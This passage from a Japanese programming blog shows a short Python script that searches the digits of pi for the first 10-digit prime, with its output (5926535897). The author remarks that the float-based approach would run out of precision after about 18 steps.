とある。正確な浮動小数点を扱うには、 decimal モジュールを使用する必要があるそうだ。前にも調べて「へぇ〜」と思った気がするが、本当にすぐ忘れてしまう。

とりあえず組んでみた。早い段階で出てこないとオーバーフローしてしまうのが確実なプログラムではある・・・。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2
import math
from decimal import *

d = 9
while True:
    pi10d = \
        Decimal(Decimal(math.pi * pow(10,d))).quantize(Decimal('1.'), rounding=ROUND_DOWN) - \
        Decimal(Decimal(math.pi * pow(10,d))).quantize(Decimal('1E10'), rounding=ROUND_DOWN)
    print(int(pi10d))
    print(gmpy2.is_prime(int(pi10d)))
    if gmpy2.is_prime(int(pi10d)):
        break
    d += 1

実行結果

$ python prime.py 
3141592653
False
1415926535
False
4159265358
False
1592653589
False
5926535897
True

よかった、オーバーフローする前に答えが見つかった!
ちなみに、見つからなかった場合18回目でオーバーフローした。